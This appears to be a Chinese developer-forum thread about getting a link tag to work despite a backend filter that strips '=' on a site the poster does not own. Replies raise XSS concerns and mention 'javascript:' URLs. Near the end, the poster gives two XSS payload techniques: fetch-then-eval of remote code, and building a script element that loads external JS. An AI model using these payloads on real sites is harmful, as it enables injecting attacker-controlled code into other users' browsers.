例:会过滤为
不用 js 的情况下还有办法能让 href 正常生效吗?

啥意思😳,没读懂

类似 XSS ,过滤了部分字符。

#2 你这是 AB 问题了吧 不如把完整的情况写出来。。。

=号过滤了,又不用 js ,那没办法~

楼主的意思是,可能用正则手段过滤了 html 中的 =,&,%等符号,然后想 a 链接正常生效,又不用 js 在过滤之后再渲染最佳~

禁用了 = 号?
不用 js 那就没啥可能了。

你这个是怎么过滤的?正则替换吗?如果不用 js 好像没什么办法,并且您的表述确实不知道这到底是个什么,前提条件和最终效果都是什么样的,在什么样的一个执行机制下,还有为什么不能用 js 去做

过滤也是自己做的编译过滤的吧
设置范围过滤就好了

emmm...例子是完整情况。

我期望通过输入<a href="https://www.v2ex.com/t/123">123</a>的方式让 a 标签生效,但现在我输入的<a href="https://www.v2ex.com/t/123">123</a>会被后端过滤为<a href"123">123</a>,前端拿到后不会做任何过滤直接输出。后端如何写的替换并不清楚= =,无法控制过滤规则。

不能用 JS 是一个限制条件。

完全就是这个意思~。

大佬,不在挣扎一下吗= =。

后端的锅让他们自己处理

没办法。

如果你是开发者,这种不合理的过滤规则找后端改,因为即使能用 JS 处理也不合理,反而会导致容易被 XSS 。
如果你是使用者,也许自定义标签属性这种行为本身就属于不被允许的,有需求只能找服务提供方去改。

不过滤百分之一万会有 xss 风险
href 里写"javascript:XXXX"就能执行任意 js 代码

这在我看来是“OP 在想办法绕过过滤去做 XSS”的问题

是= =,只是并不为了攻击。

是的,还是有 XSS 风险,只是我的目的不是攻击,也没有权限改其他人的网站。

你不是恶意的,不代表其他人都不是恶意的啊,各种安全策略其实就是在防范可能出现的满怀恶意的人

那你加个中间层,维护个 map 映射表,提交前自己把 =,% 这种符号替换成 __$0 ,__$1 之类的,获取时自己再替换回来。

ctf 刷题呢,盲猜有别的字符可以转成=号,sql 构造试试

这样没有达到本来的目的,这样只对我自己有效,这样搞就变成一个只能打自己的反射 XSS 了。

哈哈哈,可惜不是刷题木有答案,就是想找这个可以转换成=的字符,知识到了边界找不到了= =。

网站不是你的,你还想让 XSS 对所有人生效,你这不是攻击是啥

这还是有点不一样吧,并没有过滤<>/,script ,要是想攻击我直接插一个外部 JS 就完事了,我还用得着绕个大圈讲武德的硬写 HTML?

考虑下传输虚拟 DOM 对象( JSON )。然后前端转义为 xml

没有=号你也插入不了外部 js 啊

可以的,我想到的有两种:

  1. fetch 一个外部字符串,然后 eval ,fetch('').then(function (val) { eval(val) }),字符串的内容就是正经插入就可以。
  2. 设置了请求策略的话可以借用 window 对象,Object.assign(window, { xss: [] }),这样就得到了一个可以存放任意变量的window.xss对象,然后window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', ' www.baidu.com'); document.body.appendChild(window.xss[0]),就插入外部 js 了。

解析不受控,老哥能否具体说说怎么做?